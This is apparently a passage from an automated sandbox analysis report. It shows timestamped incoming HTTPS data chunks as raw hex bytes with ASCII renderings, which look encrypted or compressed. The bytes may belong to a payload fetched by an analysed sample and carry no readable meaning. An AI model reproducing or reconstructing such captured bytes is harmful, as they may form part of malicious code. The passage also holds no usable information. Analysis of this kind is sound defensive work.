7a Data Ascii: \`6KqzP/\OVkjo\|64{CpPH>lRQxtN]qoq+I4Y&qd[JFmDHR`I_S![C\|g_&;NDkk]1nWZkPN7Z'^^h^^lL4fIlyuU_qNLr[z
2023-11-17 05:22:24 UTC	571	IN	Data Raw: 8d 4f ba 42 e6 00 e0 f8 26 d4 b6 a8 07 5a 18 2c 60 58 b2 53 64 58 8b 79 74 42 1b 96 6e f3 26 93 74 9c b4 98 f1 61 0c 82 36 1c 72 6a 97 af 68 01 5a 7b f3 89 ce a0 25 c0 aa 4e 14 a2 eb d2 70 d2 f9 dc 88 98 50 08 f9 80 66 e7 7f 16 40 9f 06 a8 6a 7b c0 a5 09 db 42 01 06 bf 5e ad 86 84 34 15 20 ee 70 e5 22 1f b0 d3 2c fb 18 62 70 58 8c 8b 46 5f 04 e2 01 89 0f e1 01 bf 72 a9 64 e2 2d 53 01 cf e5 d3 dd cf d2 85 09 d3 1a a1 17 d2 6c 1f be de 5a e0 01 6f b6 7a 00 d4 f2 6e 46 3b 64 aa fd 22 79 d1 85 9f 44 1a 02 e5 9b 95 f7 5c 91 97 98 f1 90 93 17 87 52 88 b4 be 05 9b 77 be e1 41 3a 87 9b be 86 57 6c 1c b6 bc e0 56 42 7b 58 53 2f cb 8d 41 3a cf a8 79 6b 24 22 77 8a c1 a0 92 44 dc 80 f8 06 50 f5 2c a6 5f f5 93 f9 af 75 89 8f 45 7f 1f 25 5e 01 b6 75 5b 4b e4 02 50 f5 Data Ascii: OB&Z,`XSdXytBn&ta6rjhZ{%NpPf@j{B^4 p",bpXF_rd-SlZoznF;d"yD\RwA:WlVB{XS/A:yk$"wDP,_uE%^u[KP
2023-11-17 05:22:24 UTC	587	IN	Data Raw: 17 5e f2 a7 42 6c 71 4c 41 4f ac 8d 57 77 f6 85 84 46 7c a6 41 47 ac cd 57 6f f6 81 84 4a fd a6 26 de 47 a9 41 d9 61 13 10 cd 47 93 db 18 f0 14 46 d8 f6 85 84 46 fd a6 36 83 21 d9 80 4f 9b 13 13 d2 47 a9 c7 44 20 57 0e 1d 7b 43 1d 5f 73 12 c0 5b f3 56 66 dc 70 50 66 dc b5 f1 3d 2b 54 11 16 50 fc 8c f8 a0 8f 10 8d 3f 4b 61 09 d2 b4 51 0d df f8 b5 16 d4 3c b5 32 de fb 1c 02 29 74 92 c6 1e 70 1c 7a 57 60 1c 06 43 58 1c 4a 4f 78 1a c3 4b 5b 53 06 d9 58 51 0a 6b 5b 53 40 74 70 05 46 5c 40 4c 05 97 f7 ce 13 89 f7 90 c3 d8 65 51 05 6f ac 8d 34 5e 20 a2 02 70 31 a2 c2 d8 60 4d 10 40 61 a2 06 78 4c 10 81 49 f3 57 06 5e f3 52 1e dc b1 89 85 5b b7 89 c6 6c 34 9e 8a 2d 8f e8 c4 6c 64 90 c7 e8 f0 52 86 55 f1 52 46 5f 71 dd 22 73 71 c5 22 6b 71 51 03 63 f3 ed 22 17 70 Data Ascii: ^BlqLAOWwF\|AGWoJ&GAaGFF6!OGD W{C_s[VfpPf=+TP?KaQ<2)tpzW`CXJOxK[SXQk[S@tpF\@LeQo4^ p1`M@axLIW^R[l4-ldRURF_q"sq"kqQc"p
2023-11-17 05:22:24 UTC	603	IN	Data Raw: 6e 55 df 17 22 10 f5 b5 6e 6c 8f 6e 1e a0 98 18 06 72 38 b4 8d 12 70 c5 8d 9e f7 9c b4 ca 7d c3 8d 52 53 91 4a 7b 50 1a c4 9e 88 92 06 dc 90 ae 85 9f 71 9e a9 cf b7 1a 7d 5b f0 b6 22 d4 70 19 06 d4 2f 95 8d 22 74 b2 c8 4f 87 50 06 1f 30 b6 4a 7b 44 99 72 4c cf 51 57 1f 7f 3e c7 57 fb 4e bf 9d 0d 62 ed 5b fb 91 72 7b 54 12 e4 58 fb 85 04 ca 31 03 83 8d 05 b8 6e 99 55 01 19 71 f1 8e d5 28 fa 8e 57 0f 30 c6 8d 9a fb d9 16 1f 4e 8d 14 0e b3 90 3a 0c 71 93 50 0e 8f d1 d4 da b0 9e 8b c1 b0 89 6e 55 b9 d7 15 67 35 82 56 b7 19 e2 27 1e 62 95 56 b7 f0 1a 12 37 dc c4 d6 41 5f 50 18 08 7c 9b a0 4a 7a bf 83 53 7a 32 09 55 1a 79 ee 57 3b 98 17 95 83 10 ea e7 91 dc 50 6c 86 b9 3f 6a 20 d0 68 2b b0 fc 72 7b ea 99 c7 32 40 71 07 fd 07 94 3e 7e 71 08 07 27 75 ad 07 35 11 Data Ascii: nU"nlnr8p}RSJ{Pq}["p/"tOP0J{DrLQW>WNb[r{TX1nUq(W0N:qPnUg5V'bV7A_P\|JzSz2UyW;Pl?j h+r{2@q>~q'u5
2023-11-17 05:22:24 UTC	619	IN	Data Raw: 64 de 4d dd 22 43 50 1c 75 59 5b 48 66 9e b1 7e 86 5d fd d0 04 d2 7c 2c e2 1e d0 bd 09 e8 26 6b 46 58 60 11 67 2d 60 c1 8d e8 7c 70 71 ec 73 b2 8d ce 65 73 19 9d 94 8e d4 be 5c 53 85 b5 58 90 87 bd 92 8e c4 bd 6f 5b 60 67 f9 d9 f8 7d fb 2e 03 fd 75 99 09 57 c7 df f8 49 7f d1 09 e8 66 7e 70 49 d3 1b f9 53 d3 83 04 9d fa 2e 03 fc 75 c1 02 dc b0 99 07 19 9f f1 43 9c 7b 51 32 bf 48 b1 d6 69 5c aa 53 47 7c ec 65 3e 66 d1 1b d4 8b ba ff ff fd 95 57 74 82 21 15 58 5f 9d 73 0b 7a a1 d6 5d 40 ee 01 20 77 43 16 dc 9a 51 b4 7c dd 51 24 67 91 f4 a3 3a 42 b1 62 da 7a 9e 25 4b f0 2e 40 e8 36 d0 fd 90 f7 c1 07 74 cf d7 e6 5a bf 16 c7 54 77 d9 26 77 7f 15 04 55 41 b9 39 5c 5a 58 36 46 34 71 16 7f 20 9e 3e d2 62 0a 17 79 fb dc c5 77 ab 12 c7 bd 8c 20 16 50 f8 a2 07 76 91 Data Ascii: dM"CPuY[Hf~]\|,&kFX`g-`\|pqses\SXo[`g}.uWIf~pIS.uC{Q2Hi\SG\|e>fWt!X_sz]@ wCQ\|Q$g:Bbz%K.@6tZTw&wUA9\ZX6F4q >byw Pv
2023-11-17 05:22:24 UTC	635	IN	Data Raw: 53 33 f9 d4 aa d2 74 01 0f 5e 77 d4 ae df 74 92 8d 0a b8 91 85 bf 8c 18 43 fb fd 95 56 e7 f9 d4 be 1d 71 25 47 5e 3d c1 9e d6 35 55 84 5c cc d1 07 d4 6c 68 c1 1f 42 11 18 5e 6e 91 2d 91 70 18 4b d3 fb dc aa 74 8a 80 46 5d 0d 0d 8d 5f 01 dc 8e d4 60 dc b6 74 8e 50 05 cf fb ec 86 bf f9 dc 92 d4 3d 39 c4 5c 50 d4 a6 98 35 61 47 52 f9 ec 26 db f9 dc ca b4 f1 8d 8b 15 30 95 8d 8e b7 d4 ea de 75 1a 06 a1 f9 c4 f2 b4 76 1c 9d 4e 71 92 85 22 80 51 55 33 04 92 87 5f 25 a8 4b b3 7f 1c 37 5f 6c 90 07 5a 05 99 8d 1a e0 1a 32 5f 48 7a 04 d4 47 14 f0 2b 70 87 8d 51 f1 70 06 5f 8f 91 f9 de 89 91 06 1d 32 e4 06 59 f3 ef 16 5f 05 b7 6c 1f 70 fb 06 d2 e5 f9 86 cf 22 81 50 b7 40 4a c7 0f 60 1a f6 d7 98 c7 61 de 20 9e 8a 8e 70 82 06 d4 25 65 85 22 a4 91 7b 5f 5a 1a 08 d4 36 Data Ascii: S3t^wtCVq%G^=5U\lhB^n-pKtF]_`tP=9\P5aGR&0uvNq"QU3_%K7_lZ2_HzG+pQp_2Y_lp"P@J`a p%e"{_Z6
2023-11-17 05:22:24 UTC	651	IN	Data Raw: 1c 22 68 14 f9 d4 f8 cc 1a d6 70 17 09 db 71 12 1f 7f 38 91 09 da 13 10 68 5f fd 91 4a 7b 6c c0 53 b7 43 70 47 5f 18 e5 22 0f 43 51 86 0f 4b 91 f6 d6 34 b5 3a 2b 2b aa 16 a7 7f 1f 24 5e 1c fd 22 0f 61 51 54 7b fb 6e 06 dd 30 c4 51 17 22 6e d0 5d 2a 9e 82 1e 38 92 26 a4 4b ed 22 73 f0 86 22 2d 70 82 8b 1b 54 89 6c 5e 20 ed ee fb f1 82 46 5a b1 f9 86 4d 70 cc 3d 1c f0 c9 47 4a 0c 2d ef 8c 70 a5 f0 8f b3 92 73 32 b1 86 c4 5f 73 50 10 5b fd 0a c7 66 43 58 83 84 0e 13 1d df 7c d1 8d 88 5b 41 c6 44 70 a5 04 64 40 e4 0c dc b1 91 02 dc b0 95 3d 94 0c 7e 66 64 bb 9e 82 cc 70 9b 0c 42 3c 80 07 42 21 79 29 48 6d 36 ed 3e c0 aa fe 21 29 90 1c dd 68 88 84 47 70 7e 2d b7 fa 85 2e 65 60 dc 07 47 71 10 0d 5d 68 e5 30 0e 44 43 24 bf 66 86 ab b4 74 d3 41 2b 54 53 3a 1f e5 Data Ascii: "hpq8h_J{lSCpG_"CQK4:++$^"aQT{n0Q"n]*8&K"s"-pTl^ FZMp=GJ-ps2_sP[fCX\|[ADpd@=~fdpB<B!y)Hm6>!)hGp~-.e`Gq]h0DC$ftA+TS:
2023-11-17 05:22:24 UTC	667	IN	Data Raw: 10 33 87 70 2d 95 a1 78 06 5c ba 50 ef 57 19 58 6e ce d0 88 8b c3 7b f0 06 de 8b c0 06 bf 0e b4 8b d4 e7 f1 4a f0 72 40 07 5b c8 09 a6 5e 5b 50 05 87 fb 91 73 43 fb c4 26 64 82 ef 06 56 fb 57 8d ad f9 d4 26 1f fb 41 83 a9 0d b7 57 59 be d6 ab 5c 30 e9 d5 5c 71 dc 26 1f 73 92 8e ae f1 6b 94 59 57 1c 8c c0 76 84 ee 5d 59 73 04 74 60 ad 2d 91 f1 53 ff 7d 73 9d c1 1a 50 10 06 2f 71 81 35 a9 43 51 f6 df ed 51 bf 5f e0 a1 0d 4f f3 79 07 7a 71 10 07 5c b3 92 c6 86 f4 91 84 d7 e0 cf 05 9f 5b 59 df 2f 5a 11 df 5e fb dc 2e 5c ba 31 06 5f 64 aa f7 d4 b6 9e 8b f0 71 d1 11 64 b2 1a ce 21 72 1a 86 95 f5 58 7b 59 f1 50 94 5c 75 61 ad e4 d1 95 2d 86 a9 92 da cf 3c b5 26 82 60 c0 df de e1 95 23 8f 70 b9 d6 5f 20 48 46 71 ae 5b 1e 86 b9 4d c6 7a c0 91 16 81 ba b5 d8 be a0 Data Ascii: 3p-x\PWXn{Jr@[^[PsC&dVW&AWY\0\q&skYWv]Yst`-S}sP/q5CQQ_Oyzq\[Y/Z^.\1_dqd!rX{YP\ua-<&`#p_ HFq[Mz
2023-11-17 05:22:24 UTC	683	IN	Data Raw: 0a 27 5b 51 ba df 78 90 62 8f 73 81 ce dc b6 90 86 51 3c 1a b2 fc 72 9d 06 c2 5c 7a 04 df 50 90 c6 54 78 a1 da 5d 72 5d db 1d 78 12 12 99 60 10 32 5d 77 d3 44 57 73 02 c6 4a 70 bc 4a 5e 38 d2 58 b7 b0 9f 36 01 80 4c 19 1e ab 91 42 03 47 51 f6 2a c1 78 f5 5c 35 1d c6 8f f5 11 1e 4f f0 b5 42 50 fc 55 06 cd f5 d0 d4 85 f0 94 26 d2 4c 9b 86 5e 18 c5 8d 94 fa 00 2d 1f 76 12 94 6f 30 1a 4b 73 f3 50 0e 1f 72 89 07 1e 45 5a 8d ac fb cd 22 47 cb 83 90 16 e5 15 c4 45 78 da a4 44 76 51 05 57 40 4d 09 5e 45 de 0e 81 99 08 46 6a 3f 99 86 5e 11 a3 da 50 b0 a5 2e 7f ae 50 66 42 79 91 19 83 39 ba e7 5c 90 91 0f 5f 72 d8 44 40 ae 50 02 86 b1 71 43 9c a8 73 df 95 70 4f c2 86 b0 4f c1 86 b3 91 d8 99 a9 5c db c3 54 41 47 df 7c 48 ca 82 2b 69 46 7e 6b a1 df 96 ae 73 87 66 12 Data Ascii: '[QxbsQ<r\zPTx]r]x`2]wDWsJpJ^8X6LBGQ*x\5OBPU&L^-vo0KsPrEZ"GExDvQW@M^EFj?^P.PfBy9\_rD@PqCspOO\TAG\|H+iF~ksf
2023-11-17 05:22:24 UTC	699	IN	Data Raw: 14 4f 70 91 8b 5f 3d 09 57 09 1a 91 f9 4a f2 ad b7 5d 88 95 73 5e bc 50 8f 5f 75 9e 93 9d fb 53 8b 3a e2 15 f0 1a a4 1e f5 1a 43 51 5f 5e 36 2f 52 5e 96 b3 ca 37 68 c1 03 a0 6c 84 2a bf 74 91 78 ef 15 d9 02 d6 70 99 c1 1f 78 81 6d 5b 60 11 8f 17 7c 52 a7 1f bc f0 72 93 05 bf 8e 5d 10 93 c1 1f 10 9c 56 34 35 d0 06 5f 94 93 c1 1f 7c 40 06 fc 63 80 05 49 76 1a 0b 5d 74 58 73 6e 29 99 02 d4 b8 be 02 76 74 18 44 5c fb 91 52 7b 7c 14 d4 d4 31 99 06 2b 77 c2 8d 06 7c 18 1c 5d 2b 81 07 5b f5 43 72 54 f9 95 57 57 d0 91 0e d6 21 9d c5 cb b7 d0 85 5c 31 13 05 9c bc 6e 0c a4 8f 9b f9 55 60 11 94 7c 7b 6e 05 a0 73 6e 05 5a b0 0a 02 9e 79 18 56 5b fb 50 79 87 65 6e 02 a0 74 6e 02 ae 74 31 0a a5 73 a4 ff b6 63 dd 22 7f 6a 9e 02 5b 74 71 03 6d 74 a9 8f 57 b3 a3 0f 98 68 Data Ascii: Op_=WJ]s^P_uS:CQ_^6/R^7hl*txpxm[`\|Rr]V45_\|@cIv]tXsn)vtD\R{\|1+w\|]+[CrTWW!\1nU`\|{nsnZyV[Pyentnt1sc"j[tqmtWh
2023-11-17 05:22:24 UTC	715	IN	Data Raw: c1 5f f0 2b 56 5f 30 83 02 3e 70 18 4e 7f 70 85 c1 1f c4 89 d6 cf 71 52 d6 5d 81 93 c4 a9 72 75 16 9a 81 93 c6 e0 82 93 67 5f 86 93 8a 9f b7 64 04 af 49 10 ea d7 40 9b 06 fe 20 34 0b 4f 43 54 8f 5f 35 6d 8d 1a 78 c2 50 d4 70 e4 0a 6c b9 a8 0b fb bc 95 0b 4f d0 ab 16 d4 a8 18 4b 5f 90 18 4b 83 f9 cc f2 d6 70 e4 f6 d6 0d 69 09 da d8 b4 46 5c ca 43 0f 4a fc c1 04 d6 65 1b 96 0f 70 2b 37 55 f9 84 92 5d 71 37 9e 5e 71 e3 01 4a 14 93 07 37 71 90 a3 5e 7a 28 d4 54 65 fd 54 5e 00 c0 07 ce c1 9b 8f 52 f4 90 07 52 f8 c1 06 47 b7 94 9a 0f 70 e0 0b d6 65 e5 33 3d 72 e9 54 5e 0c c1 06 8e 7b 18 0b 75 24 63 06 07 21 93 bb 4f 7e 94 5a f6 e0 91 56 e1 e1 91 66 cf 70 81 57 50 76 94 e7 54 f0 b7 06 da b0 e5 10 5f fb 99 87 be 70 91 f9 a0 70 10 ff 5f 70 d3 44 2a 76 91 85 27 60 Data Ascii: _+V_0>pNpqR]rug_dI@ 4OCT_5mxPplOK_KpiF\CJep+7U]q7^qJ7q^z(TeT^RRGpe3=rT^{u$c!O~ZVfpWPvT_pp_pD*v'`
2023-11-17 05:22:24 UTC	731	IN	Data Raw: 02 1e cf 51 03 3f 71 da 00 7e 54 73 07 30 b3 50 67 00 12 92 86 ca a2 35 8e 9c b4 fa 06 d4 35 b1 85 9f 60 4c 46 6e 71 b8 2e 82 30 90 2f 5f 58 4c 06 ee d3 18 db 1f 78 30 ce 7f 5a d1 27 f7 73 74 8c a0 b8 18 12 10 f3 50 07 5f f3 51 2e 64 3d b5 7a fe b5 90 b9 0a b0 b8 14 dc b3 91 99 9f 59 cb 12 ff 21 ac 66 76 f0 b9 26 b8 b8 8a c1 b4 b8 77 c1 3f 54 12 ea 7b 3a 59 ea ba 2e 2f f0 ba d0 22 66 5e 90 74 8c bb 95 2e 16 5b 38 1a 53 b0 95 c7 db 5d 75 73 e3 1d 9e 74 8b d1 70 11 06 49 70 72 5a 1d ce 87 4b e1 f1 50 06 89 f0 d3 c4 3d d9 53 67 b8 c1 90 13 bf 7e 5a 86 7f 13 76 c8 fd 60 1d 7c dc d9 7a e1 29 23 6e 75 a0 53 a5 fe 7c 7a e5 b2 7c bd 1a f5 2c c7 b2 2e 4f 77 bd ed 5c 71 cc 13 de 24 6b 76 2b 98 a3 16 47 73 51 12 6c 86 00 72 96 91 91 d1 d2 33 b1 04 74 a3 9e b9 3e 04 Data Ascii: Q?q~Ts0Pg55`LFnq.0/_XLx0Z'stP_Q.d=zY!fv&w?T{:Y./"f^t.[8S]ustpIprZKP=Sg~Zv`\|z)#nuS\|z\|,.Ow\q$kv+GsQlr3t>
2023-11-17 05:22:24 UTC	747	IN	Data Raw: 48 9f 7b a9 46 d6 5a 81 c6 53 68 51 67 43 71 e1 8b fb 62 b5 07 13 43 67 c7 d4 0b 1c 7d 5f 8c 50 e9 5d f3 53 0e dc b4 50 02 5f 6f 1c 32 e2 71 96 c7 d0 18 26 6f a3 f0 85 3e df b5 51 7e 84 73 91 14 9f e5 12 e9 5e a8 f3 ee c4 b0 52 46 58 86 d0 01 9e 75 49 64 1f bb cb f2 1f 74 69 41 5b b0 5d fe 1f 74 6b 65 18 74 11 c8 a3 05 3b 07 7d 36 00 f5 4f 0d b6 ed 57 f4 b2 96 50 c7 01 3a 2e f9 ed 46 46 b6 90 86 f2 54 aa f5 1d 7d f5 b4 5e 18 ed e5 91 73 b1 5b de 3a 91 4c 43 71 91 1c de 69 cc 86 15 48 12 4c 7f 75 92 4c cf 11 da c7 eb 98 93 81 15 79 19 4c 5f 52 89 42 15 30 b1 2d 82 a9 95 b8 b7 39 99 d9 ba 39 6e 8b a0 fd 6e 8b ab fd 89 f9 d2 8f 1c b3 bc fd 89 e4 16 50 6e 4f ad 39 92 ed 16 82 58 3d 15 9b 92 e6 1a 9c d8 86 19 85 d8 9c 7f 96 d8 26 bf 39 b0 94 07 90 78 4f a6 51 Data Ascii: H{FZShQgCqbCg}_P]SP_o2q&o>Q~s^RFXuIdtiA[]tket;}6OWP:.FFT}^s[:LCqiHLuLyL_RB0-99nnPnO9X=&9xOQ
2023-11-17 05:22:24 UTC	763	IN	Data Raw: 06 9f 74 93 c6 9e 74 51 df 96 ad cb ae 5f ad c3 a6 82 22 09 db 05 70 01 db 5f 73 57 85 32 a4 95 07 86 92 93 ce 82 22 51 db df 22 29 db 05 c0 4c 01 7c 72 91 ee 82 22 71 db 0d a8 4c 86 05 a0 e4 94 d4 35 59 c6 7a 70 1a 53 b7 4b 42 7b 1d fb 93 f4 df 60 1c 42 59 60 1a f4 5f 7f 3e f7 d2 44 66 8d a4 50 ba fc d2 d4 b5 07 76 ad 97 0e d2 64 5c c4 63 b0 92 f4 86 72 58 86 79 f3 7e 07 82 28 79 06 82 20 71 db 0f a8 4c 5e 57 a0 e4 db 3f 79 66 df 44 b9 91 8d a7 f3 70 02 d6 0d 89 47 df 54 14 f9 50 f5 90 26 1f f3 d1 7b 7f 70 56 43 b7 b1 96 09 57 fe 1c 0c be 56 9d db 1a 5c 91 8d 1a 78 48 e8 5c a2 1c 46 53 72 56 43 e7 60 33 33 9f 58 18 4b ef 74 59 98 3d 11 51 8d 5d 35 71 29 bf f9 e4 de d4 05 91 ee d2 44 d7 05 af fd ad 00 9a 71 98 86 58 fd a5 76 d6 05 93 e2 bf 72 92 f4 d2 74 Data Ascii: ttQ_"p_sW2"Q")L\|r"qL5YzpSKB{`BY`_>DfPvd\crXy~(y qL^W?yfDpGTP&{pVCWV\xH\FSrVC`33XKtY=Q]5q)DqXvrt
2023-11-17 05:22:24 UTC	779	IN	Data Raw: 18 1c 74 95 43 5b f0 92 82 7e 99 94 42 7e d8 10 26 02 90 aa 53 7f 70 ec 28 d4 05 b1 8d 94 5b 91 c9 d2 74 c6 8f 12 80 ba 26 ad 9b 92 8d 12 f0 89 0a 5e 30 9e b9 4f 7f 3e cc dd 40 93 02 dc 9e 95 08 bc fb d4 de 87 70 5b 8d 12 bc 1a 53 8f ad 95 1a 9e 70 08 05 85 4b d4 22 db f9 d4 86 29 90 9e 8a ee f0 e7 1e d4 3d 45 87 d5 f1 20 c6 5e 35 c3 ca df 43 92 fc 9d 2c 45 06 00 7f 95 8a 22 f0 99 db 86 ad 49 ef 5b cd 92 c6 00 2d b1 35 8d 49 b1 5b 77 fd 95 db dd 28 04 c4 5e b1 8a ec 5e f3 73 02 62 70 91 26 5f 70 18 53 9b 7f 1e 04 a8 30 97 85 9f 50 79 8f fa 71 d1 8f 9b f3 51 19 dc 90 71 17 1f cc 56 43 b7 30 e1 06 dc 0d b1 22 5f b7 d4 d2 dd 7f 1f 50 56 b1 85 53 43 b0 ed df b1 fd 9d 86 60 f9 dc d6 d2 7c 44 04 f5 70 6f 8f 12 b8 1a 4b 57 5b 90 06 2b 94 18 7b af f9 e4 da 4e f0 Data Ascii: tC[~B~&Sp([t&^0O>@p[SpK")=E ^5C,E"I[-5I[w(^^sbp&_pS0PyqQqVC0"_PVSC`\|DpoKW[+{N
2023-11-17 05:22:24 UTC	795	IN	Data Raw: 85 5f b0 99 85 9e 60 12 6b 4f 70 90 db 06 88 48 e8 d6 35 91 f2 d6 3d 85 09 da 00 6f 07 5f 49 d4 32 d4 3d 2d 8d 0a 70 55 07 12 78 90 53 3b f3 91 6b 87 71 9e 83 70 88 6e 06 a0 ad 49 35 9f fd 34 7e 5e f0 db 59 01 2b 1a 4b 17 43 91 cb b7 30 d6 02 5f f3 54 06 13 fb 74 5b 9d 5c 91 ca 5e 73 91 53 d4 9c 12 e2 a7 f1 91 ea fb 70 91 06 d4 3d 99 06 d4 25 9d 8d 1a 64 c2 50 5f fb e4 1a 9e 9a 92 c7 b7 70 95 c7 b1 73 14 cf 08 fb 11 ff d6 3c b5 32 2a 76 11 04 5f 7c 7a 1d a9 35 a9 02 2a 70 9d 8d 95 b7 d5 22 53 71 80 86 44 9b 98 bf 5e 73 18 52 7b 70 9d 85 22 54 91 09 db 38 91 00 5f 70 4c 43 6f fb cc 46 47 ad d4 2e 5c b9 10 06 9e 50 71 02 d2 64 64 86 4d 70 18 8e d3 54 0d 07 5c 34 b5 56 df 68 91 42 dc 1d b5 07 da 8f 9e 0e db 87 92 07 7f 50 1c 77 a3 70 a2 d4 da 86 1a c1 50 fc Data Ascii: _`kOpH5=o_I2=-pUxS;kqpnI54~^Y+KC0_Tt[\^sSp=%dP_ps<2v_\|z5p"SqD^sR{p"T8_pLCoFG.\PqddMpT\4VhBPwpP
2023-11-17 05:22:24 UTC	811	IN	Data Raw: 56 af fb e1 f2 d6 18 61 12 d4 19 c1 06 ab a0 9b 8f 0e 80 59 8f 2e 84 a1 0d d4 00 31 0c 3d 7b a0 05 54 88 18 77 6f 7b be 1d 47 73 91 c9 d2 21 61 8b 2f 80 aa ae ad 05 3c b6 0a 68 e2 0d d0 b9 8a 59 a0 7a 64 0c 1e 20 6e 0c ad 7a b1 f0 55 05 1e f9 55 8f 9b f9 55 8c 9b 8d 36 78 b3 0d 5f fb c1 0e d4 00 9d 8f 37 73 21 1f 0f 70 9d 8f 0e 78 18 77 0f 7c 12 c6 7f 08 9d 93 29 7c 9e 1a da 03 11 6c e3 7c 62 0a be ca 91 22 47 f3 7d 0e 0c 25 1a 06 33 54 b1 50 6c a2 12 c6 5f 8e c6 09 d7 da 91 06 5f 70 1a 5a 7b 50 12 c6 5d a1 11 ee d6 34 b5 2e 5c b0 91 12 5f 64 1c 4f 5f fb c5 22 73 70 1a 4a 7b 6c 1a 42 7b 54 91 35 a9 f3 53 f8 d2 4c 88 06 27 33 1a d1 74 a1 18 52 4f 54 81 ed 5b 70 af 16 d5 64 91 0c 50 c6 88 8e 0f 71 19 06 47 fa c5 31 5e 7f 27 5f 47 71 92 c3 5f 6c 90 70 d7 68 Data Ascii: VaY.1={Two{Gs!a/<hYzd nzUUU6x_7s!pxw\|)\|l\|b"G}%3TPl__pZ{P]4.\_dO_"spJ{lB{T5SL'3tROT[pdPqG1^'_Gq_lph
2023-11-17 05:22:24 UTC	827	IN	Data Raw: f2 24 b9 41 0d a6 0b 40 3b a9 0b 40 f7 24 61 de fc 24 d0 df 0f 50 d0 2e 2a 11 73 54 f0 24 59 63 7d 4f cf fd 48 5d 32 90 85 9e 72 c5 3d 94 84 ea cc a1 0b 88 f4 5c 6c 19 48 5c b3 33 04 5e 4b 5b f5 24 8e 08 e6 4a 73 ed c7 38 f0 c3 67 56 8f ea fb 24 85 f0 05 53 60 92 16 a0 0b 6e 7d a0 0b 6e 7d 04 8f 86 fc 48 0c 6a 7d bf 44 c2 d4 11 b0 28 96 69 99 a8 e6 1e 20 98 47 6a 64 a1 06 c5 68 a1 06 43 73 ed a6 55 7f 15 34 49 19 61 30 5c b9 00 30 67 41 c1 35 69 b9 b1 83 b2 0e f2 96 1f 67 40 3d dd aa 51 11 8c 5b 4b 05 8e d0 82 8d ab 0b 81 11 4d 60 86 89 5c b5 a1 10 2f ff 93 05 aa f5 f4 a6 4c 85 ea 27 2c 01 91 24 4b fb 57 10 23 81 91 25 23 86 60 f6 4b bd ed 98 ff 7c b2 7a df 6e 01 12 15 4c 01 12 24 11 bf f9 02 d1 93 16 0b fb 57 c6 5d 64 30 06 47 f0 91 1a a6 a0 9d 0a 00 af Data Ascii: $A@;@$a$P.*sT$Yc}OH]2r=\lH\3^K[$Js8gV$S`n}n}Hj}D(i GjdhCsU4Ia0\0gA5ig@=Q[KM`\/L',$KW#%#`K\|znL$W]d0G
2023-11-17 05:22:24 UTC	843	IN	Data Raw: d4 2a da dd e5 21 54 31 05 17 18 ac 2e 7f f0 33 2a ff f8 a1 8d 98 b1 92 32 5e 58 22 07 dc d0 97 1a 5e 10 13 46 5c 30 10 46 1b f9 ed 66 44 0c b5 26 1f fd ed 5e 7b 38 aa e6 48 73 d3 3a df 20 92 2d 3f 5a 71 00 03 90 96 5e df 31 f5 06 bd f9 31 16 50 f5 81 e7 0c d0 b1 66 4d 52 d9 c3 d1 54 1a c1 da 7e 08 17 0c d1 02 52 51 f5 67 e4 1a 24 79 43 7b a0 1a 5a 7b 18 71 43 4c 31 03 ed 1a 50 95 db 87 9b 93 c6 1c 48 b5 16 5c 70 14 f0 3f db fd db 40 74 e5 0a ba 77 48 e8 b4 76 48 26 b1 a9 51 df 96 71 09 de 95 f8 4c 55 57 70 90 3a 81 bb d1 0e 7d 9a d2 0e 1e 05 87 c6 58 89 b2 06 5c 70 4c 59 57 2f cf 5b d7 43 51 5d 1b e9 49 ee bc df 93 2d a0 3d 7e 4b 47 84 dc 66 9f 74 f9 55 1e b2 dc f9 6c a2 a2 dd 9f 3d 25 aa 7b f4 b1 45 77 3b dd 66 5f 20 f1 06 e5 2c f1 06 3f 10 91 07 c2 d1 Data Ascii: !T1.32^X"^F\0FfD&^{8Hs: -?Zq^11PfMRT~RQg$yC{Z{qCL1PH\p?@twHvH&QqLUWp:}X\pLYW/[CQ]I-=~KGftUl=%{Ew;f_ ,?
2023-11-17 05:22:24 UTC	859	IN	Data Raw: d5 79 b0 78 34 3e 3c 5f 09 f0 73 b0 5f 7c f9 85 8d 4b bf 1a 4a ef bf 95 83 96 31 9b 64 7f a2 ff 26 62 51 86 ff 5b 57 81 46 bd 7c 81 47 50 fd 73 e4 1f 79 1c 12 9a c1 98 16 78 11 bd 65 4e 57 c1 0e 50 fd 3b f7 55 a1 d0 d0 bf 7f 3e d6 d2 7c a3 04 2e 40 e0 2f 47 fd bd d6 ac d5 60 2e 1a 74 1a ac 12 e2 b9 10 ce 58 51 24 57 b9 bf 0e a7 b7 a2 cc ef 53 02 2e 1f 4f 05 2e 4f 71 6a 37 7d 40 94 26 de 67 01 2e df e5 03 2e 3f 4f 7a 95 77 04 37 56 af 71 bd d7 75 61 b6 d6 77 96 c1 e4 12 e1 9b 8a 29 01 dd b6 54 d2 a8 15 7f 48 70 3f 6c 86 23 2e 50 f5 be 53 1c 3e cd 4c 11 10 f3 2e 7b 1e b9 26 18 ef b4 96 4c e1 b4 52 00 2e 14 2e 7b 70 14 d4 02 2b ee 15 23 77 5b 85 af 05 91 19 5c 54 89 8e 74 b1 c1 04 7f 66 1f c1 5f d0 bd 0e 4f 78 56 46 5b b1 85 c1 1f 78 f1 24 71 a1 91 0a 6f 40 Data Ascii: yx4><_s_\|KJ1d&bQ[WF\|GPsyxeNWP;U>\|.@/G`.tXQ$WS.O.Oqj7}@&g..?Ozw7Vquaw)THp?l#.PS>L.{&LR..{p+#w[\Ttf_OxVF[x$qo@
2023-11-17 05:22:24 UTC	875	IN	Data Raw: 04 cb 0c 63 46 cc 68 b1 10 da 14 93 b5 ea f1 b0 1e 3e 51 cc 4f 43 97 18 1a bf 73 b3 0e bc c3 85 06 09 71 25 09 db da 2e 85 ec 6c 50 8b 0c b1 c2 53 bf 6c 15 0a 08 30 c3 22 5e 43 4a c7 4a 70 fb 85 9e 8c 1c 1a 0d fd 81 1a c1 fb 53 46 49 b1 71 02 92 70 c1 2a 9f c3 10 11 73 fd 30 19 5f 72 d1 1a d4 8e 1c 1a c9 50 a2 1e 43 a9 96 c7 f3 30 fb 24 29 73 69 df 97 73 92 de 9d 68 d4 06 de 4c 91 05 30 70 ac 06 42 52 93 04 44 bd 30 e5 1e d6 aa 06 86 0d b1 8d 9c 7f 3e c4 df fd ad 80 d4 b1 1c 2a 1d 5b 91 2d 9c a9 96 05 a2 f3 79 2f 7d 53 e4 f5 1f 6e 81 25 fd f5 c6 e1 7b c0 d1 49 de 04 cf 5f bc a1 b1 09 1f 72 c7 1e 5e 84 72 39 47 91 ae 1e 1e de 89 ed 9c 71 b0 f0 2f 51 d0 26 bc 75 71 39 